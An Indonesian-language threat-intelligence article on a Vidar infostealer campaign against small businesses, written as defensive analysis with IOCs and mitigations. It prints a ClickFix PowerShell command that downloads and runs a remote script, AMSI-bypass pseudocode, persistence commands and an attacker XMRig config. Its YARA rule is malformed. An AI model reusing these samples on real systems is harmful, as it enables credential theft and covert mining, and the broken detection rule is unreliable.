Vidar Infostealer: Kampanye Malvertising Targetkan UMKM Lewat Software Bajakan dan Fake CAPTCHA

Ringkasan Eksekutif

Pada Juli 2026, Unit 42 Palo Alto Networks mempublikasikan analisis mendalam tentang kampanye distribusi Vidar infostealer yang secara agresif menargetkan usaha kecil dan menengah (UKM/UMKM). Kampanye ini menggunakan kombinasi malvertising, situs fake CAPTCHA di website WordPress yang dikompromikan, dan software bajakan sebagai umpan untuk menginfeksi korban.

Vidar bukan sekadar pencuri informasi. Malware ini menerapkan strategi dual monetization: mencuri data sensitif dari browser, crypto wallet, dan session cookies sekaligus menambang cryptocurrency Monero (XMR) menggunakan XMRig di latar belakang. Dengan model Malware-as-a-Service (MaaS), Vidar telah menjadi salah satu infostealer paling produktif di tahun 2026 — dan UKM/UMKM adalah target yang paling menguntungkan karena pertahanan mereka yang minimal.

Apa Itu Vidar Infostealer?

Vidar adalah infostealer berbasis Windows yang pertama kali muncul pada 2018 dan sejak itu terus berevolusi. Malware ini beroperasi dengan model Malware-as-a-Service (MaaS) — pengembang menjual akses ke panel administrasi C2 kepada afiliasi yang kemudian menjalankan kampanye distribusi mereka sendiri.

Spesifikasi Teknis

VIDAR TECHNICAL PROFILE

VIDAR

Platform : Windows (x86/x64) Bahasa : C++ / Go (loader Factory-v3) Distribusi : MaaS — panel C2 dijual ke afiliasi Monetisasi : Data theft + XMRig crypto mining Target Data : Browser credentials, cookies, crypto wallets, autofill, session C2 Communication : HTTP/HTTPS + Telegram bot notifikasi Eksfiltrasi : ZIP archive → C2 server

Vektor Distribusi: Dari Malvertising ke Fake CAPTCHA

1. Malvertising — Iklan Berbahaya di Mesin Pencari

Afiliasi Vidar membeli slot iklan di mesin pencari populer (Google Ads, Bing Ads) dengan kata kunci seperti:

“download software gratis”
“crack [nama software]”
“activator windows”
“license key generator”
“full version free download”

Iklan ini mengarahkan korban ke situs web yang didesain menyerupai portal download resmi, lengkap dengan screenshot dan review palsu.

2. Fake CAPTCHA — ClickFix untuk Eksekusi Kode

Salah satu vektor paling efektif adalah fake CAPTCHA verification di website WordPress yang dikompromikan. Pengunjung disuguhkan dialog yang terlihat seperti verifikasi Cloudflare standar:

[VERIFY YOU ARE HUMAN]

Press: Windows + R
Type:  [kode sudah otomatis ter-copy ke clipboard]
Press: Enter

You will be redirected shortly.

Kode yang ter-copy ke clipboard sebenarnya adalah perintah PowerShell berbahaya:

powershell -ep bypass -w hidden -c "IEX (iwr 'https://cdn-update[.]info/vidar-stage2.ps1' -UseBasicParsing).Content"

3. Software Bajakan dengan Password-Protected Archive

File yang didistribusikan seringkali berupa arsip ZIP/RAR ber-password dengan ekstensi .bin atau .zip. Penggunaan password bertujuan untuk:

Mencegah scanning otomatis oleh email gateway dan web proxy
Mencegah analisis sandbox — sandbox tidak bisa membuka arsip tanpa password
Membangun kepercayaan — memberikan ilusi bahwa file “aman” karena ber-password

Analisis Teknis Rantai Infeksi

Tahap 1: Delivery

User klik iklan/tautan
        │
        ▼
Landing page download software bajakan
        │
        ▼
Download: [SoftwareName]_Crack_v3.2.zip  (password: 1234)

Tahap 2: Execution — Go Loader (Factory-v3)

Payload Vidar menggunakan Go-compiled loader berbasis framework Factory-v3 dengan teknik evasi canggih:

// Pseudocode: Teknik file inflation Vidar loader
package main

import (
    "crypto/rand"
    "os"
)

func inflateBinary() {
    // Tambahkan null bytes untuk membuat file >400MB
    padding := make([]byte, 400*1024*1024) // 400MB
    rand.Read(padding)
    f, _ := os.OpenFile("vidar_payload.exe", os.O_APPEND|os.O_WRONLY, 0644)
    f.Write(padding)
    f.Close()
}

Tahap 3: AMSI Bypass

Sebelum mengeksekusi payload utama, loader melakukan in-memory patch pada Antimalware Scan Interface (AMSI):

// Pseudocode: AMSI Bypass via AmsiScanBuffer patch
void bypass_amsi() {
    HMODULE amsi = LoadLibrary("amsi.dll");
    void* amsiScanBuffer = GetProcAddress(amsi, "AmsiScanBuffer");
    // Patch instruksi awal AmsiScanBuffer untuk selalu return AMSI_RESULT_CLEAN
    BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    WriteProcessMemory(GetCurrentProcess(), amsiScanBuffer, patch, 6, NULL);
}

Tahap 4: DLL Sideloading

Vidar kemudian menggunakan DLL sideloading dengan menempatkan file MpClient.dll palsu di direktori yang sama dengan executable yang sah — mengeksploitasi urutan pencarian DLL Windows.

Tahap 5: Persistence

# Registry Run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemAgentService" /t REG_SZ /d "C:\Users\victim\AppData\Local\Temp\update.exe"

# Scheduled task — menyamar sebagai komponen Windows Defender
schtasks /create /tn "WindowsDefenderSystemAgent" /tr "C:\Users\victim\AppData\Local\Temp\update.exe" /sc hourly /mo 3

Kemampuan Vidar Secara Detail

Data yang Dicuri

Kategori	Detail
Browser Credentials	Username, password, URL dari Chrome, Firefox, Edge, Brave, Opera
Cookies & Session	Session cookies + token autentikasi (bypass MFA)
Autofill Data	Nama, alamat, nomor telepon, kartu kredit
Crypto Wallets	File wallet.dat, seed phrase, private key
Browser History	Riwayat browsing untuk profiling
System Info	HWID, OS version, installed software, running processes
FTP/Email Clients	FileZilla, WinSCP, Outlook, Thunderbird credentials
Messaging Apps	Telegram session files, Discord tokens

Mekanisme Pencurian

# Struktur direktori data yang dicuri sebelum eksfiltrasi
C:\Users\victim\AppData\Local\Temp\tmp[random]\
    ├── Browsers/
    │   ├── Chrome/
    │   │   ├── Login Data.json
    │   │   ├── Cookies.json
    │   │   └── Autofill.json
    │   ├── Firefox/
    │   └── Edge/
    ├── Wallets/
    │   ├── wallet.dat
    │   └── electrum_wallet
    ├── System.txt
    └── Screenshot.png

Data dikompresi menjadi ZIP dan dikirim ke C2 server. Telegram bot digunakan untuk notifikasi real-time kepada afiliasi setiap kali ada “log” baru (data korban baru).

Dual Monetization: Stealer + Cryptominer

Yang membuat Vidar unik di antara infostealer adalah strategi monetisasi ganda:

1. Penjualan Data Curian

Data yang dicuri dijual di dark web marketplace:

Kredensial bank/email: $5 - $200 per akun
Session cookies valid: $10 - $500 per sesi
Wallet crypto dengan saldo: langsung dikuras
Bundel data perusahaan: $500 - $10.000+ tergantung nilai

2. Background Cryptocurrency Mining

Setelah mencuri data, Vidar men-drop XMRig — Monero cryptominer open-source — dan menjalankannya dengan prioritas rendah:

{
    "autosave": true,
    "cpu": {
        "enabled": true,
        "max-threads-hint": 50
    },
    "pools": [
        {
            "url": "pool.minexmr.com:443",
            "user": "wallet_address_attacker",
            "pass": "x",
            "keepalive": true
        }
    ]
}

Dengan ribuan host yang terinfeksi, mining Monero memberikan passive income stabil bagi operator — bahkan setelah data yang dicuri sudah tidak bernilai.

Mengapa UKM dan UMKM Menjadi Target Empuk

Faktor Kerentanan

UKM (Usaha Kecil Menengah) dan UMKM (Usaha Mikro Kecil Menengah) menjadi target utama kampanye Vidar karena:

Anggaran keamanan terbatas — tidak memiliki EDR/XDR enterprise
IT support minimal — seringkali tidak memiliki staf keamanan khusus
Penggunaan software bajakan tinggi — terutama di wilayah Asia dan Amerika Latin
Kesadaran keamanan rendah — karyawan tidak terlatih mengenali fake CAPTCHA
Kredensial valuable — akses ke rekening bank bisnis, invoicing system, dan data pelanggan

Ilustrasi Skenario Dampak

SIMULASI DAMPAK PADA UMKM

SIMULASI

Karyawan download “crack CorelDRAW” dari iklan Google 2. Vidar terinstal, mencuri semua kredensial browser 3. Attacker mendapat akses ke email bisnis (Gmail/Outlook) 4. Attacker membaca invoice & komunikasi dengan supplier 5. Attacker mengirim email palsu ke supplier: “Mohon transfer ke rekening baru: XXXX-XXXX-XXXX”
Supplier transfer ke rekening attacker
Kerugian: Rp 50-200 juta + kebocoran data pelanggan

Indikator Kompromi

File System

# YARA rule untuk Vidar loader (Go-compiled, Factory-v3)
rule Vidar_GoLoader_FactoryV3 {
    strings:
        $go1 = "runtime." ascii
        $go2 = "main." ascii
        $factory = "factory" ascii nocase
        $padding_test = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
    condition:
        uint16(0) == 0x5A4D and #Go_binary and 
        $factory and filesize > 300MB
}

Network

# Indikator C2 (contoh — berubah berkala)
cdn-delivery[.]net
cdn-update[.]info  
sys-update[.]com
api-telemetry[.]xyz

# Traffic patterns:
- POST request ke /api/v1/logs
- User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
- Content-Type: multipart/form-data (upload ZIP)

Registry & Tasks

# Cek key persistence
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | 
    Where-Object {$_ -match "SystemAgentService|WindowsDefender"}

# Cek scheduled tasks
Get-ScheduledTask | Where-Object {
    $_.TaskName -match "SystemAgent|DefenderAgent|WindowsUpdate"
}

Rekomendasi Mitigasi

Untuk UKM dan UMKM

Jangan gunakan software bajakan — risiko malware jauh lebih mahal daripada lisensi asli
Jangan jalankan perintah dari website — tidak ada situs sah yang meminta Win+R
Gunakan password manager — browser password manager lebih rentan terhadap infostealer
Aktifkan 2FA/MFA — terutama FIDO2 security key (session cookies tetap bisa dicuri)
Update browser secara rutin — patch browser mencegah eksploitasi known vulnerability
Pasang ad-blocker — uBlock Origin mencegah malvertising di sumbernya

Untuk Administrator IT

# Rekomendasi teknis mitigasi Vidar

endpoint_protection:
  - enable_amsi: true
  - enable_script_block_logging: true
  - deploy_applocker: true
  - block_password_protected_archives_in_email: true

network_security:
  - block_known_c2_domains: true
  - enable_dns_filtering: true
  - monitor_outbound_zip_uploads: true
  - restrict_powershell_execution_policy: "RemoteSigned"

browser_security:
  - deploy_browser_isolation: true
  - enforce_adblock_extension: true
  - disable_password_save_in_browser: true
  - enable_enhanced_safe_browsing: true

PowerShell Logging

# Aktifkan PowerShell logging untuk deteksi
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

Kesimpulan

Kampanye Vidar infostealer Juli 2026 menegaskan bahwa ancaman siber tidak hanya menyasar enterprise besar — usaha kecil justru menjadi target yang lebih menguntungkan karena pertahanan mereka yang lebih lemah. Dengan model MaaS yang terdesentralisasi, Vidar akan terus bermutasi selama masih ada permintaan untuk data curian di underground economy.

Software bajakan adalah vektor infeksi paling efektif dan paling sulit dihilangkan. Archive ber-password, fake CAPTCHA, dan malvertising menciptakan jaring yang sulit dihindari oleh pengguna awam. Satu klik di iklan Google bisa berarti kebocoran seluruh kredensial bisnis, akses email, dan pencurian dana melalui social engineering lanjutan.

Dual monetization membuat Vidar lebih berbahaya dari infostealer konvensional. Bahkan setelah data curian sudah tidak bernilai, XMRig terus menghasilkan passive income bagi operator melalui mining Monero di ribuan host yang terinfeksi. Ini menciptakan insentif bagi operator untuk mempertahankan persistence selama mungkin.

Pertahanan paling efektif tetaplah preventif. Jangan menggunakan software bajakan, jangan mengeksekusi perintah dari website — tidak ada situs sah yang meminta pengguna membuka Win+R — dan gunakan autentikasi multi-faktor berbasis hardware. Password manager berbasis browser adalah target utama Vidar; memindahkan kredensial ke dedicated password manager dan mengaktifkan FIDO2 security key secara signifikan mengurangi nilai data yang bisa dicuri.

Dalam lanskap ancaman 2026, infostealer bukan hanya mencuri password — mereka mencuri seluruh identitas digital. Dan bagi UKM yang mengandalkan satu laptop untuk menjalankan seluruh operasi bisnis, dampaknya bisa berarti kehancuran total.

Artikel ini disusun berdasarkan analisis Unit 42 Palo Alto Networks (Juli 2026), Dark Reading, Malwarebytes Threat Intelligence, dan pemantauan tim Threat Intelligence Seraphim News.